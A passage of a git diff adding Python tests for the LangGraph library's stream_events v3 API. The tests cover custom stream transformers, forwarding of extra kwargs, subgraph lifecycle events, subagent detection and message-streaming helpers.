lifecycle without deadlock.""" + graph = _make_nested_graph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + seen_names: set[str] = set() + for name, _item in run.interleave("values", "messages", "lifecycle"): + seen_names.add(name) + + assert "values" in seen_names + assert "lifecycle" in seen_names + + def test_multiple_custom_transformers(self) -> None: + """Multiple custom transformers can coexist.""" + + class TagTransformer(StreamTransformer): + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._channel: StreamChannel[str] = StreamChannel("tags") + + def init(self) -> dict[str, Any]: + return {"tags": self._channel} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + self._channel.push( + f"tag:{event['params']['data'].get('value', '')}" + ) + return True + + graph = _make_nested_graph() + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CounterTransformer, TagTransformer], + ) + + assert "counter" in run.extensions + assert "tags" in run.extensions + + counter_iter = iter(run.extensions["counter"]) + tags_iter = iter(run.extensions["tags"]) + _ = run.output + counts = list(counter_iter) + tags = list(tags_iter) + + assert len(counts) >= 1 + assert len(tags) >= 1 + assert all(t.startswith("tag:") for t in tags) + + def test_two_sibling_subgraphs_both_discoverable(self) -> None: + """Two sequential subgraph invocations produce two handles.""" + + class _S(TypedDict): + items: Annotated[list[str], operator.add] + + def _item(name: str): + def node(state: _S) -> dict[str, Any]: + return {"items": [name]} + + return node + + inner_a = ( + StateGraph(_S) + .add_node("add_a", _item("a")) + .add_edge(START, "add_a") + .add_edge("add_a", END) + .compile() + ) + inner_b = ( + StateGraph(_S) + .add_node("add_b", _item("b")) + .add_edge(START, "add_b") + .add_edge("add_b", END) + .compile() + ) + + outer = ( + StateGraph(_S) + .add_node("sub_a", inner_a) + .add_node("sub_b", inner_b) + .add_edge(START, "sub_a") + .add_edge("sub_a", "sub_b") + .add_edge("sub_b", END) + .compile() + ) + + run = outer.stream_events({"items": []}, version="v3") + handles = [] + for handle in run.subgraphs: + list(handle.values) + handles.append(handle) + + assert len(handles) == 2 + names = [h.graph_name for h in handles] + assert "sub_a" in names + assert "sub_b" in names + assert all(h.status == "completed" for h in handles) + + output = run.output + assert output is not None + assert set(output["items"]) == {"a", "b"} + + def test_lifecycle_matches_subgraph_handles(self) -> None: + """Lifecycle events and subgraph handles agree on discovered subgraphs.""" + run1 = _make_nested_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + handle_paths: list[tuple[str, ...]] = [] + for handle in run1.subgraphs: + list(handle.values) + handle_paths.append(handle.path) + + run2 = _make_nested_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + lifecycle = list(run2.lifecycle) + + started_ns = [ + tuple(e["namespace"]) for e in lifecycle if e["event"] == "started" + ] + # Handle paths use format "graph_name:call_id", lifecycle namespaces + # use the same format. Both should have the same graph_name prefix. + handle_prefixes = {p[0].split(":")[0] for p in handle_paths} + lifecycle_prefixes = {ns[0].split(":")[0] for ns in started_ns} + assert handle_prefixes == lifecycle_prefixes + + def test_values_plus_messages_plus_custom(self) -> None: + """Values, messages, and a custom transformer all produce data in one run.""" + model = GenericFakeChatModel(messages=iter(["combined test"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = graph.stream_events( + {"messages": "hi"}, + version="v3", + transformers=[_CounterTransformer], + ) + + counter_iter = iter(run.extensions["counter"]) + values_iter = iter(run.values) + messages_iter = iter(run.messages) + + values = list(values_iter) + messages = list(messages_iter) + counts = list(counter_iter) + + assert len(values) >= 1 + assert len(messages) >= 1 + assert len(counts) >= 1 + assert messages[0].output.text == "combined test" diff --git a/libs/langgraph/tests/test_stream_events_v3_kwarg_forwarding.py b/libs/langgraph/tests/test_stream_events_v3_kwarg_forwarding.py new file mode 100644 index 0000000..a5f353a --- /dev/null +++ b/libs/langgraph/tests/test_stream_events_v3_kwarg_forwarding.py @@ -0,0 +1,108 @@ +"""Tests that ``(a)stream_events(version="v3")`` forwards extra kwargs to the +underlying ``(a)stream`` call, and rejects the kwargs v3 owns internally. + +Background: prior to this change the v3 dispatcher silently dropped ``**kwargs`` +on the v3 branch while forwarding them on v1/v2, so callers passing e.g. +``context=...`` saw their value disappear with no error. v3 now forwards +caller kwargs to the inner ``(a)stream`` call but rejects ``stream_mode`` and +``subgraphs`` since v3 owns them (``stream_mode`` is built from the +transformer mux; ``subgraphs`` is forced True so nested namespaces flow +through scoped muxes). +""" + +from __future__ import annotations + +import sys +from dataclasses import dataclass +from typing import Any + +import pytest +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import StateGraph +from langgraph.runtime import Runtime + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +@dataclass +class _Ctx: + api_key: str + + +class _State(TypedDict): + message: str + + +def _build_context_reading_graph(): + def read_context(state: _State, runtime: Runtime[_Ctx]) -> dict[str, Any]: + return {"message": f"api key: {runtime.context.api_key}"} + + builder = StateGraph(state_schema=_State, context_schema=_Ctx) + builder.add_node("read_context", read_context) + builder.add_edge(START, "read_context") + builder.add_edge("read_context", END) + return builder.compile() + + +class TestKwargForwardingSync: + def test_context_reaches_node(self) -> None: + run = _build_context_reading_graph().stream_events( + {"message": "hello"}, + version="v3", + context=_Ctx(api_key="sk_sync"), + ) + assert run.output == {"message": "api key: sk_sync"} + + def test_rejects_stream_mode(self) -> None: + graph = _build_context_reading_graph() + with pytest.raises(TypeError, match="stream_mode"): + graph.stream_events( + {"message": "hello"}, + version="v3", + stream_mode=["values"], + ) + + def test_rejects_subgraphs(self) -> None: + graph = _build_context_reading_graph() + with pytest.raises(TypeError, match="subgraphs"): + graph.stream_events( + {"message": "hello"}, + version="v3", + subgraphs=False, + ) + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +class TestKwargForwardingAsync: + async def test_context_reaches_node(self) -> None: + run = await _build_context_reading_graph().astream_events( + {"message": "hello"}, + version="v3", + context=_Ctx(api_key="sk_async"), + ) + output = await run.output() + assert output == {"message": "api key: sk_async"} + + async def test_rejects_stream_mode(self) -> None: + graph = _build_context_reading_graph() + with pytest.raises(TypeError, match="stream_mode"): + await graph.astream_events( + {"message": "hello"}, + version="v3", + stream_mode=["values"], + ) + + async def test_rejects_subgraphs(self) -> None: + graph = _build_context_reading_graph() + with pytest.raises(TypeError, match="subgraphs"): + await graph.astream_events( + {"message": "hello"}, + version="v3", + subgraphs=False, + ) diff --git a/libs/langgraph/tests/test_stream_lifecycle_transformer.py b/libs/langgraph/tests/test_stream_lifecycle_transformer.py new file mode 100644 index 0000000..893b0b3 --- /dev/null +++ b/libs/langgraph/tests/test_stream_lifecycle_transformer.py @@ -0,0 +1,712 @@ +"""Tests for LifecycleTransformer. + +Consumes the `tasks` stream mode and emits subgraph lifecycle payloads +on the `lifecycle` channel for both in-process iteration via +`run.lifecycle` and wire delivery via `custom:lifecycle` protocol +events. Most tests dispatch synthetic protocol events through a +`StreamMux` to keep the inference logic isolated; the end-of-file +group exercises the path through real graphs (multi-depth +discovery, nested `stream_events(version="v3")` calls with non-empty `parent_ns`). +""" + +from __future__ import annotations + +import operator +import time +from typing import Annotated, Any + +from typing_extensions import TypedDict + +from langgraph._internal._constants import CONF, CONFIG_KEY_CHECKPOINT_NS +from langgraph.constants import END, START +from langgraph.errors import GraphInterrupt +from langgraph.graph import StateGraph +from langgraph.stream._mux import StreamMux +from langgraph.stream.transformers import ( + LifecyclePayload, + LifecycleTransformer, + _TasksLifecycleBase, +) + +TS = int(time.time() * 1000) + + +def _tasks_start( + namespace: list[str], + *, + task_id: str, + name: str, + metadata: dict[str, Any] | None = None, + input: Any = None, +) -> dict[str, Any]: + """Build a `tasks` ProtocolEvent carrying a TaskPayload (start).""" + data: dict[str, Any] = { + "id": task_id, + "name": name, + "input": input, + "triggers": [], + } + if metadata is not None: + data["metadata"] = metadata + return { + "type": "event", + "method": "tasks", + "params": { + "namespace": namespace, + "timestamp": TS, + "data": data, + }, + } + + +def _tasks_result( + namespace: list[str], + *, + task_id: str, + name: str, + error: str | None = None, + interrupts: list[dict[str, Any]] | None = None, +) -> dict[str, Any]: + """Build a `tasks` ProtocolEvent carrying a TaskResultPayload (finish).""" + return { + "type": "event", + "method": "tasks", + "params": { + "namespace": namespace, + "timestamp": TS, + "data": { + "id": task_id, + "name": name, + "error": error, + "interrupts": interrupts or [], + "result": {}, + }, + }, + } + + +def _arm(mux: StreamMux) -> None: + """Force projection channels to accept pushes (skip lazy-subscribe gate). + + `StreamChannel.push` only appends to the local buffer when a + subscriber is attached. Tests that inspect `_items` directly need + the gate flipped before any event is dispatched. + """ + mux._events._subscribed = True + for transformer in mux._transformers: + if isinstance(transformer, LifecycleTransformer): + transformer._channel._subscribed = True + + +def _unstamped(items): + """Strip push stamps from a StreamChannel's internal buffer.""" + return [item for _stamp, item in items] + + +def _drain_lifecycle(mux: StreamMux) -> list[LifecyclePayload]: + """Snapshot the lifecycle channel's buffer.""" + transformer = mux.transformer_by_key("lifecycle") + assert isinstance(transformer, LifecycleTransformer) + return _unstamped(transformer._channel._items) + + +def _build_lifecycle_mux(*, scope: tuple[str, ...] = ()) -> StreamMux: + mux = StreamMux([LifecycleTransformer(scope=scope)], is_async=False) + _arm(mux) + return mux + + +# --------------------------------------------------------------------------- +# LifecycleTransformer +# --------------------------------------------------------------------------- + + +def test_started_emitted_on_first_direct_child_task() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc123"], task_id="t1", name="tool")) + + [payload] = _drain_lifecycle(mux) + assert payload["event"] == "started" + assert payload["namespace"] == ["agent:abc123"] + assert payload["graph_name"] == "agent" + assert payload["trigger_call_id"] == "abc123" + + +def test_started_dedup_on_repeat_namespace() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="a")) + mux.push(_tasks_start(["agent:abc"], task_id="t2", name="b")) + + payloads = _drain_lifecycle(mux) + assert [p["event"] for p in payloads] == ["started"] + + +def test_grandchild_namespace_discovered() -> None: + """Subgraphs at any depth below scope are tracked, not just direct children.""" + mux = _build_lifecycle_mux() + # First-seen task at length-2 ns means a 2nd-level subgraph started. + mux.push(_tasks_start(["agent:abc", "tool:def"], task_id="t1", name="x")) + + [payload] = _drain_lifecycle(mux) + assert payload["event"] == "started" + assert payload["namespace"] == ["agent:abc", "tool:def"] + + +def test_nested_chain_emits_started_at_each_depth() -> None: + """A graph → subgraph → subgraph chain produces a started event per level.""" + mux = _build_lifecycle_mux() + # Subgraph1 starts emitting tasks (events tagged with its own ns). + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + # Subgraph1 invokes subgraph2; subgraph2's first task event arrives. + mux.push(_tasks_start(["agent:abc", "tool:def"], task_id="t2", name="deep")) + + payloads = _drain_lifecycle(mux) + assert [p["namespace"] for p in payloads] == [ + ["agent:abc"], + ["agent:abc", "tool:def"], + ] + assert all(p["event"] == "started" for p in payloads) + + +def test_nested_chain_emits_completed_at_each_depth() -> None: + """Each subgraph in a nested chain closes when its parent task result arrives.""" + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_start(["agent:abc", "tool:def"], task_id="t2", name="deep")) + + # Subgraph2's owning task (id=def, inside subgraph1) finishes. + mux.push(_tasks_result(["agent:abc"], task_id="def", name="tool")) + # Subgraph1's owning task (id=abc, at root) finishes. + mux.push(_tasks_result([], task_id="abc", name="agent")) + + payloads = _drain_lifecycle(mux) + events = [(p["event"], p["namespace"]) for p in payloads] + assert events == [ + ("started", ["agent:abc"]), + ("started", ["agent:abc", "tool:def"]), + ("completed", ["agent:abc", "tool:def"]), + ("completed", ["agent:abc"]), + ] + + +def test_completed_on_parent_task_result() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent")) + + events = [p["event"] for p in _drain_lifecycle(mux)] + assert events == ["started", "completed"] + + +def test_failed_on_parent_task_result_with_error() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent", error="boom")) + + payloads = _drain_lifecycle(mux) + assert [p["event"] for p in payloads] == ["started", "failed"] + assert payloads[1]["error"] == "boom" + + +def test_interrupted_on_parent_task_result_with_interrupts() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push( + _tasks_result( + [], + task_id="abc", + name="agent", + interrupts=[{"value": "pause"}], + ) + ) + + payloads = _drain_lifecycle(mux) + assert [p["event"] for p in payloads] == ["started", "interrupted"] + + +def test_interrupt_takes_precedence_over_error() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push( + _tasks_result( + [], + task_id="abc", + name="agent", + error="should-be-suppressed", + interrupts=[{"value": "pause"}], + ) + ) + + last = _drain_lifecycle(mux)[-1] + assert last["event"] == "interrupted" + assert "error" not in last + + +def test_finalize_completes_open_subgraphs() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + mux.close() + payloads = _drain_lifecycle(mux) + assert [p["event"] for p in payloads] == ["started", "completed"] + + +def test_fail_emits_interrupted_for_graph_interrupt() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + mux.fail(GraphInterrupt()) + payloads = _drain_lifecycle(mux) + assert [p["event"] for p in payloads] == ["started", "interrupted"] + assert "error" not in payloads[1] + + +def test_fail_emits_failed_for_other_exceptions() -> None: + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + mux.fail(RuntimeError("boom")) + payloads = _drain_lifecycle(mux) + assert [p["event"] for p in payloads] == ["started", "failed"] + assert payloads[1]["error"] == "boom" + + +def test_unrelated_methods_pass_through() -> None: + """Non-`tasks` events are not consumed and don't emit lifecycle.""" + mux = _build_lifecycle_mux() + mux.push( + { + "type": "event", + "method": "values", + "params": {"namespace": ["agent:abc"], "timestamp": TS, "data": {}}, + } + ) + assert _drain_lifecycle(mux) == [] + + +def test_scoped_transformer_filters_outside_scope_but_tracks_all_depths() -> None: + """Scope filters the prefix; subgraphs at any depth below scope are tracked.""" + mux = _build_lifecycle_mux(scope=("agent:abc",)) + # Root-level task — out of scope (no shared prefix). + mux.push(_tasks_start(["other:1"], task_id="t1", name="other")) + # Direct child of agent:abc — in scope. + mux.push(_tasks_start(["agent:abc", "tool:def"], task_id="t2", name="tool")) + # Grandchild of agent:abc — also in scope, tracked at its own depth. + mux.push( + _tasks_start(["agent:abc", "tool:def", "deep:ghi"], task_id="t3", name="deep") + ) + + payloads = _drain_lifecycle(mux) + assert [p["namespace"] for p in payloads] == [ + ["agent:abc", "tool:def"], + ["agent:abc", "tool:def", "deep:ghi"], + ] + + +def test_required_stream_modes_declared() -> None: + assert LifecycleTransformer.required_stream_modes == ("tasks",) + + +def test_protocol_event_method_is_native() -> None: + """Native transformer — auto-forwarded events use `lifecycle`, not `custom:lifecycle`.""" + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + methods = {evt["method"] for evt in _unstamped(mux._events._items)} + assert "lifecycle" in methods + assert "custom:lifecycle" not in methods + + +def test_tasks_events_suppressed_from_main_log() -> None: + """Tasks events are folded into lifecycle and don't appear on the main log.""" + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent")) + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "tasks" not in methods + # Lifecycle events did make it through, though. + assert "lifecycle" in methods + + +# --------------------------------------------------------------------------- +# End-to-end: real graphs through stream_events(version="v3") +# --------------------------------------------------------------------------- + + +class _State(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +def _passthrough(state: _State) -> dict[str, Any]: + return {"value": state["value"] + "!", "items": ["x"]} + + +def _make_two_level_nested() -> Any: + """Build outer → middle → inner. Three Pregel instances, two nesting levels.""" + inner_b: StateGraph = StateGraph(_State, input_schema=_State) + inner_b.add_node("inner_node", _passthrough) + inner_b.add_edge(START, "inner_node") + inner_b.add_edge("inner_node", END) + inner = inner_b.compile() + + middle_b: StateGraph = StateGraph(_State, input_schema=_State) + middle_b.add_node("inner", inner) + middle_b.add_edge(START, "inner") + middle_b.add_edge("inner", END) + middle = middle_b.compile() + + outer_b: StateGraph = StateGraph(_State, input_schema=_State) + outer_b.add_node("middle", middle) + outer_b.add_edge(START, "middle") + outer_b.add_edge("middle", END) + return outer_b.compile() + + +def test_stream_events_v3_real_graph_emits_lifecycle_at_each_depth() -> None: + """Outer graph with two nested subgraphs surfaces lifecycle for both.""" + graph = _make_two_level_nested() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + # Iterating the projection drives the pump and drains synthesized + # lifecycle events at the same time. + payloads = list(run.lifecycle) + # Each subgraph instance produces a started + a terminal event. Two + # nested instances, so four payloads total in some interleaving. + by_event = {p["event"] for p in payloads} + assert "started" in by_event + assert "completed" in by_event + # Two distinct namespaces — direct child of root, and grandchild. + namespaces = {tuple(p["namespace"]) for p in payloads} + direct_children = {ns for ns in namespaces if len(ns) == 1} + grandchildren = {ns for ns in namespaces if len(ns) == 2} + assert direct_children, f"expected a level-1 lifecycle namespace, got {namespaces}" + assert grandchildren, f"expected a level-2 lifecycle namespace, got {namespaces}" + # Every direct-child namespace has a matching grandchild whose path extends it. + for parent in direct_children: + assert any(gc[: len(parent)] == parent for gc in grandchildren), ( + f"grandchild does not extend parent {parent}: {grandchildren}" + ) + + +def test_stream_events_v3_with_nested_parent_ns_scopes_lifecycle() -> None: + """When `stream_events(version="v3")` is called with a non-empty checkpoint_ns in config, + `_resolve_parent_ns` returns that namespace and the registered + `LifecycleTransformer` is constructed with `scope=parent_ns`. This + exercises the path that exists today purely for nested-stream_events(version="v3") + callers; the test simulates such a caller by injecting a + checkpoint_ns into the config. + """ + graph = _make_two_level_nested() + config = {CONF: {CONFIG_KEY_CHECKPOINT_NS: "outer:abc"}} + run = graph.stream_events({"value": "x", "items": []}, config=config, version="v3") + + payloads = list(run.lifecycle) + # Every emitted lifecycle namespace must extend the caller's scope — + # nothing at root-level, nothing under a sibling prefix. + for p in payloads: + ns = tuple(p["namespace"]) + assert ns[:1] == ("outer:abc",), ( + f"namespace {ns} not within scoped prefix ('outer:abc',)" + ) + + +# --------------------------------------------------------------------------- +# Parsed-segment fallback (no subagent boundary) +# --------------------------------------------------------------------------- + + +def test_no_metadata_falls_through_to_existing_behavior() -> None: + """Tasks events without metadata produce the same output as before T4.""" + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + [payload] = _drain_lifecycle(mux) + assert payload["graph_name"] == "agent" + assert payload["trigger_call_id"] == "abc" + assert "cause" not in payload + + +def test_empty_metadata_dict_falls_through() -> None: + """An explicit empty metadata dict is treated the same as no metadata.""" + mux = _build_lifecycle_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool", metadata={})) + + [payload] = _drain_lifecycle(mux) + assert payload["graph_name"] == "agent" + assert "cause" not in payload + + +# --------------------------------------------------------------------------- +# Subagent discrimination via lc_agent_name transition +# --------------------------------------------------------------------------- +# +# A nested task is a subagent iff its metadata["lc_agent_name"] is present and +# differs from its PARENT namespace's lc_agent_name. These tests replicate the +# empirically-verified `create_agent` stream shape synthetically: +# +# - A supervisor created via `create_agent(name="supervisor")` emits its own +# node tasks (model, tools) at ns=(), each with +# metadata["lc_agent_name"] == "supervisor". +# - The parent `tools` task at ns=() carries a `tool_call_with_context` +# dict as its `input` (with the LLM tool_call_id at +# input["tool_call"]["id"]) and a task `id`. (A legacy / batched shape +# passes a list of tool-call dicts instead; both are exercised below.) +# - When a tool body invokes an inner `create_agent(name="weather_agent")`, +# the inner agent's node tasks stream at ns=("tools:",) with +# metadata["lc_agent_name"] == "weather_agent", sharing the SAME +# as the parent `tools` task. +# - A plain StateGraph (no name) inherits the parent's lc_agent_name, so its +# child lc == parent lc -> NOT a subagent. + + +def test_lifecycle_uses_lc_agent_name_for_subagent() -> None: + """A nested run whose lc_agent_name differs from its parent's is a subagent. + + graph_name becomes the child's lc_agent_name; cause is recovered by joining + the child segment's task-id to the parent push task's tool call. This uses + the production `tool_call_with_context` dict input shape current langgraph + emits (tool_call_id at input["tool_call"]["id"]). + """ + mux = _build_lifecycle_mux() + # Supervisor's `tools` push task at scope ns: carries its own lc_agent_name + # and a `tool_call_with_context` dict as `input`. Each tool call is its own + # push task, and the task id seeds the child segment. + mux.push( + _tasks_start( + [], + task_id="tools_task_1", + name="tools", + metadata={"lc_agent_name": "supervisor"}, + input={ + "__type": "tool_call_with_context", + "tool_call": { + "name": "call_weather", + "args": {"city": "Boston"}, + "id": "call_w", + "type": "tool_call", + }, + "state": {}, + }, + ) + ) + # Inner weather_agent's first node task streams under the parent `tools` + # task's namespace segment (shared task id) with its own lc_agent_name. + mux.push( + _tasks_start( + ["tools:tools_task_1"], + task_id="inner_model_1", + name="model", + metadata={"lc_agent_name": "weather_agent"}, + ) + ) + + payloads = _drain_lifecycle(mux) + started = [p for p in payloads if p["event"] == "started"] + [subagent] = [p for p in started if p["namespace"] == ["tools:tools_task_1"]] + assert subagent["graph_name"] == "weather_agent", ( + "graph_name should be the child's lc_agent_name, not the parsed segment" + ) + assert subagent["cause"] == {"type": "toolCall", "tool_call_id": "call_w"}, ( + "cause should recover the triggering tool_call_id from the parent push " + "task's tool_call_with_context input via the shared task id" + ) + + +def test_lifecycle_subagent_cause_from_legacy_list_input() -> None: + """cause recovery also handles the legacy / batched list input shape. + + A parent task whose `input` is a list of tool-call dicts (rather than a + `tool_call_with_context` dict) still seeds the tool_call_id join. + """ + mux = _build_lifecycle_mux() + mux.push( + _tasks_start( + [], + task_id="tools_task_1", + name="tools", + metadata={"lc_agent_name": "supervisor"}, + input=[{"name": "call_weather", "args": {"city": "SF"}, "id": "call_w"}], + ) + ) + mux.push( + _tasks_start( + ["tools:tools_task_1"], + task_id="inner_model_1", + name="model", + metadata={"lc_agent_name": "weather_agent"}, + ) + ) + + payloads = _drain_lifecycle(mux) + started = [p for p in payloads if p["event"] == "started"] + [subagent] = [p for p in started if p["namespace"] == ["tools:tools_task_1"]] + assert subagent["graph_name"] == "weather_agent" + assert subagent["cause"] == {"type": "toolCall", "tool_call_id": "call_w"} + + +def test_lifecycle_same_name_nested_run_is_surfaced() -> None: + """A nested run whose lc_agent_name matches the parent's is still surfaced. + + A subagent that invokes itself re-asserts its own lc_agent_name, so child + lc == parent lc. The discriminator surfaces any nested run carrying an + lc_agent_name, so the recursive call is reported (named after the agent, + with the triggering tool call as cause). + + Trade-off: a non-agent subgraph that merely inherited the parent's + lc_agent_name would also surface here. That is accepted; a caller can null + lc_agent_name in the config it invokes such a graph with to exclude it. + """ + mux = _build_lifecycle_mux() + mux.push( + _tasks_start( + [], + task_id="tools_task_1", + name="tools", + metadata={"lc_agent_name": "weather_agent"}, + input={ + "__type": "tool_call_with_context", + "tool_call": { + "name": "recurse", + "args": {}, + "id": "call_x", + "type": "tool_call", + }, + "state": {}, + }, + ) + ) + # The agent invokes itself: the nested run re-asserts the SAME lc_agent_name. + mux.push( + _tasks_start( + ["tools:tools_task_1"], + task_id="inner_node_1", + name="model", + metadata={"lc_agent_name": "weather_agent"}, + ) + ) + + payloads = _drain_lifecycle(mux) + started = [p for p in payloads if p["event"] == "started"] + [nested] = [p for p in started if p["namespace"] == ["tools:tools_task_1"]] + assert nested["graph_name"] == "weather_agent", ( + "a same-named nested run (e.g. self-recursion) must still be surfaced" + ) + assert nested["cause"] == {"type": "toolCall", "tool_call_id": "call_x"} + + +def test_lifecycle_unnamed_nested_agent_is_not_subagent() -> None: + """A nested run with lc_agent_name None is excluded (not a subagent).""" + mux = _build_lifecycle_mux() + mux.push( + _tasks_start( + [], + task_id="tools_task_1", + name="tools", + metadata={"lc_agent_name": "supervisor"}, + input={ + "__type": "tool_call_with_context", + "tool_call": { + "name": "lookup", + "args": {}, + "id": "call_x", + "type": "tool_call", + }, + "state": {}, + }, + ) + ) + mux.push( + _tasks_start( + ["plain:tools_task_1"], + task_id="inner_node_1", + name="inner_node", + metadata={"lc_agent_name": None}, + ) + ) + + payloads = _drain_lifecycle(mux) + started = [p for p in payloads if p["event"] == "started"] + [nested] = [p for p in started if p["namespace"] == ["plain:tools_task_1"]] + assert nested["graph_name"] == "plain" + assert "cause" not in nested + + +def test_lifecycle_subagent_terminal_roundtrip() -> None: + """A detected subagent closes with `completed` when its parent task results. + + Pushes the subagent's `started` (via the `tool_call_with_context` parent + plus the child task event) and then the parent push task's terminal + result, asserting the namespace is closed and the `started` payload's + projected graph_name / cause survive the roundtrip. + """ + mux = _build_lifecycle_mux() + mux.push( + _tasks_start( + [], + task_id="tools_task_1", + name="tools", + metadata={"lc_agent_name": "supervisor"}, + input={ + "__type": "tool_call_with_context", + "tool_call": { + "name": "call_weather", + "args": {"city": "Boston"}, + "id": "call_w", + "type": "tool_call", + }, + "state": {}, + }, + ) + ) + mux.push( + _tasks_start( + ["tools:tools_task_1"], + task_id="inner_model_1", + name="model", + metadata={"lc_agent_name": "weather_agent"}, + ) + ) + # The parent push task (id=tools_task_1, at scope ns) finishes, closing + # the subagent subgraph that streamed under `tools:tools_task_1`. + mux.push(_tasks_result([], task_id="tools_task_1", name="tools")) + + payloads = _drain_lifecycle(mux) + ns = ["tools:tools_task_1"] + subagent = [p for p in payloads if p["namespace"] == ns] + assert [p["event"] for p in subagent] == ["started", "completed"] + started, _completed = subagent + assert started["graph_name"] == "weather_agent" + assert started["cause"] == {"type": "toolCall", "tool_call_id": "call_w"} + + +def test_on_started_override_without_cause_is_backward_compatible() -> None: + """An `_on_started` override with the original 3-arg signature must work. + + `cause` is delivered via `self._pending_cause`, not the call signature, so + older/third-party subclasses (e.g. deepagents' `SubagentTransformer`) that + override `_on_started(self, ns, graph_name, trigger_call_id)` keep working — + no `TypeError: _on_started() got an unexpected keyword argument 'cause'`. + """ + seen: list[tuple] = [] + + class _LegacyTransformer(_TasksLifecycleBase): + def init(self) -> dict[str, Any]: + return {} + + def _should_track(self, ns: tuple[str, ...]) -> bool: + return len(ns) == 1 # direct child of the root scope + + # Deliberately omits `cause` — mirrors a pre-`cause` override. + def _on_started(self, ns, graph_name, trigger_call_id) -> None: # type: ignore[override] + seen.append((ns, graph_name, trigger_call_id)) + + def _on_terminal(self, ns, status, error) -> None: + pass + + transformer = _LegacyTransformer(scope=()) + # Must not raise: the base calls `_on_started` without a `cause` kwarg. + transformer.process(_tasks_start(["agent:abc123"], task_id="abc123", name="agent")) + + assert seen == [(("agent:abc123",), "agent", "abc123")] diff --git a/libs/langgraph/tests/test_stream_messages_transformer.py b/libs/langgraph/tests/test_stream_messages_transformer.py new file mode 100644 index 0000000..6e13ef4 --- /dev/null +++ b/libs/langgraph/tests/test_stream_messages_transformer.py @@ -0,0 +1,940 @@ +"""Tests for MessagesTransformer: protocol event routing, whole-message fallback, +legacy v1 chunk filtering, and end-to-end via stream_events(version="v3") / astream_events(version="v3").""" + +from __future__ import annotations + +import time +from typing import Any + +import pytest +from langchain_core.language_models import GenericFakeChatModel +from langchain_core.language_models.chat_model_stream import ( + AsyncChatModelStream, + ChatModelStream, +) +from langchain_core.messages import AIMessage, AIMessageChunk, ToolMessage +from langchain_core.runnables import RunnableConfig +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import MessagesState, StateGraph +from langgraph.stream._mux import StreamMux +from langgraph.stream.run_stream import GraphRunStream +from langgraph.stream.stream_channel import StreamChannel +from langgraph.stream.transformers import MessagesTransformer, ValuesTransformer + +TS = int(time.time() * 1000) + + +def _unstamped(items): + """Strip push stamps from a StreamChannel's internal buffer.""" + return [item for _stamp, item in items] + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _proto_event( + event: dict[str, Any], + *, + run_id: str = "run-1", + node: str = "llm", +) -> dict[str, Any]: + """Build a messages ProtocolEvent carrying a protocol event dict (v2 path).""" + return { + "type": "event", + "method": "messages", + "params": { + "namespace": [], + "timestamp": TS, + "data": (event, {"langgraph_node": node, "run_id": run_id}), + }, + } + + +def _v1_chunk( + text: str, + msg_id: str = "msg-1", + *, + finish: bool = False, + node: str = "llm", +) -> dict[str, Any]: + """Build a messages ProtocolEvent carrying a v1 AIMessageChunk tuple.""" + rm: dict[str, Any] = {"finish_reason": "stop"} if finish else {} + return { + "type": "event", + "method": "messages", + "params": { + "namespace": [], + "timestamp": TS, + "data": ( + AIMessageChunk(content=text, id=msg_id, response_metadata=rm), + {"langgraph_node": node}, + ), + }, + } + + +def _whole_msg( + text: str, + msg_id: str = "msg-10", + *, + node: str = "node", +) -> dict[str, Any]: + """Build a messages ProtocolEvent carrying a completed AIMessage.""" + return { + "type": "event", + "method": "messages", + "params": { + "namespace": [], + "timestamp": TS, + "data": (AIMessage(content=text, id=msg_id), {"langgraph_node": node}), + }, + } + + +def _make_sync_transformer() -> tuple[ + MessagesTransformer, StreamChannel[ChatModelStream] +]: + t = MessagesTransformer() + log: StreamChannel[ChatModelStream] = t.init()["messages"] + log._bind(is_async=False) + # Subscribe up front so pushes during process() are retained. + log._subscribed = True + t._bind_pump(lambda: False) + return t, log + + +def _make_async_transformer() -> tuple[ + MessagesTransformer, 